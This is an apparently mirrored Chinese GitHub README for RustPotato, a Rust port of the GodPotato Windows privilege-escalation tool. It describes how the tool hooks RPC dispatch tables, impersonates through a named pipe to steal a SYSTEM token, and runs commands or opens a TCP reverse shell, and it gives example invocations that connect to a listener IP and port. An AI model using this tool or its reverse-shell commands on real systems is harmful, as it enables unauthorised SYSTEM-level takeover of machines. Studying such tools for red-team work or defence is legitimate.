safedv/RustPotato

GitHub: safedv/RustPotato

GodPotato 的 Rust 实现版本,通过滥用 DCOM 和 RPC 利用 SeImpersonatePrivilege 在 Windows 上提权至 SYSTEM。

Stars: 357 | Forks: 35

# RustPotato **RustPotato** 是 [GodPotato](https://github.com/BeichenDream/GodPotato) 的 Rust 实现版本,这是一个权限提升工具,通过滥用 **DCOM** 和 **RPC** 来利用 **SeImpersonatePrivilege**,从而在 Windows 系统上获取 `NT AUTHORITY\SYSTEM` 权限。 ## 主要特性 - **基于 TCP 的反向 Shell**: RustPotato 包含一个基于 [Rustic64Shell](https://github.com/safedv/Rustic64Shell) 的 TCP 反向 Shell。它利用 Winsock API 进行网络通信,并利用间接 NT API 进行基于管道的 I/O 重定向,从而能够通过 `cmd` 或 `powershell` 执行命令。 - **间接 NTAPI**: RustPotato 利用间接 NTAPI 调用来执行各种操作,包括令牌处理和操作。 ## 概述 以下是其执行流程的概述,重点介绍了每个步骤中的关键操作: ### 1. **初始化并 Hook RPC 上下文** 1. **定位 `RPC_SERVER_INTERFACE` 结构体**: 该工具扫描 `combase.dll` 的内存以查找 `RPC_SERVER_INTERFACE` 结构体,这是通过 OXID Resolver 管理 RPC 通信的关键组件。 2. **Hook RPC 分发表**: RustPotato 将 `RPC_DISPATCH_TABLE` 中的第一个条目替换为自定义函数指针,从而能够拦截和操作特定的 RPC 调用。 ### 2. **启动命名管道服务器并触发 RPCSS** 命名管道服务器在模拟和权限提升中起着核心作用: - **创建命名管道**: 创建一个具有无限制访问权限的命名管道(例如 `\\.\pipe\RustPotato`),作为客户端连接的端点。 - **解组 COM 对象**: RustPotato 构造并解组一个 COM 对象,迫使 **RPCSS** 与命名管道建立连接。 - **触发 RPCSS**: 解组后的对象调用遍历被 Hook 的分发表的 RPC 调用,允许 RustPotato 拦截和操作这些交互。 - **模拟客户端**: 当 **RPCSS** 连接到命名管道时,RustPotato 使用 `ImpersonateNamedPipeClient` 模拟客户端以获取其安全上下文。 - **检索 SYSTEM 令牌**: 在模拟过程中,RustPotato 定位并复制与 `NT AUTHORITY\SYSTEM` 账户关联的令牌。 ### 3. **执行命令或建立反向 Shell** - **执行命令**: RustPotato 使用复制的令牌通过 `CreateProcessWithTokenW` 执行指定的命令。 - **建立反向 Shell**: 使用反向 Shell 选项(`-h` 和 `-p`),RustPotato 连接到监听器并通过 `cmd` 或 `powershell` 执行命令。 ### 4. **恢复状态和清理** - **恢复 RPC 分发表**: 从 `RPC_DISPATCH_TABLE` 中移除自定义函数指针,并将 `combase.dll` 恢复到原始状态。 - **终止管道服务器**: 停止命名管道服务器,释放所有相关的资源和句柄。 ## 用法 RustPotato 提供以下功能: - **`verbose`**:在执行期间启用详细日志记录。 ### 构建选项 - **基础构建**(仅打印进程输出): cargo +nightly-2025-02-14 build --release - **启用详细日志的构建**: cargo +nightly-2025-02-14 build --release --features verbose ### 帮助 ``` Usage: RustPotato.exe [command line] | [options] Description: Execute a command line or start a reverse shell. Options: -h Specify the IP address of the listener for the reverse shell. -p Specify the port of the listener for the reverse shell. -c Specify the shell to be used in the reverse shell (optional, default is cmd). Examples: Execute a command line: RustPotato.exe "cmd.exe /c whoami" Start a reverse shell with the default shell (cmd): RustPotato.exe -h 192.168.1.100 -p 4444 Start a reverse shell with powershell: RustPotato.exe -h 192.168.1.100 -p 4444 -c powershell ``` ## 免责声明 本项目**仅供教育和研究目的**。RustPotato 是一个专注于探索 Rust 和 Windows 内核的个人学习项目。请负责任地使用——任何滥用行为完全由您自己承担责任。 在进行安全研究时(或者老实说,在您所做的每一件事中),请始终尊重道德准则并遵守法律框架。 ## 致谢 特别感谢: - [BeichenDream](https://github.com/BeichenDream) 在 [GodPotato](https://github.com/BeichenDream/GodPotato) 上的工作,使这个移植版本成为可能! - [Resolving System Service Numbers Using The Exception Directory by MDsec](https://www.mdsec.co.uk/2022/04/resolving-system-service-numbers-using-the-exception-directory/) 关于解析 SSN 的见解。
标签:CVE, DCOM, GodPotato, Impersonation, Indirect NTAPI, meg, Named Pipe, NT AUTHORITY\SYSTEM, PE 加载器, Potato攻击, RPC, Rust, SeImpersonatePrivilege, T1059, T1068, T1134, Token Manipulation, Web报告查看器, WhiteIntel, 信息安全, 反向Shell, 可视化界面, 子域名枚举, 恶意代码, 数字签名, 数据展示, 本地提权, 深度包检测, 端点可见性, 系统安全, 红队, 网络安全, 网络安全分析, 网络流量审计, 通知系统, 隐私保护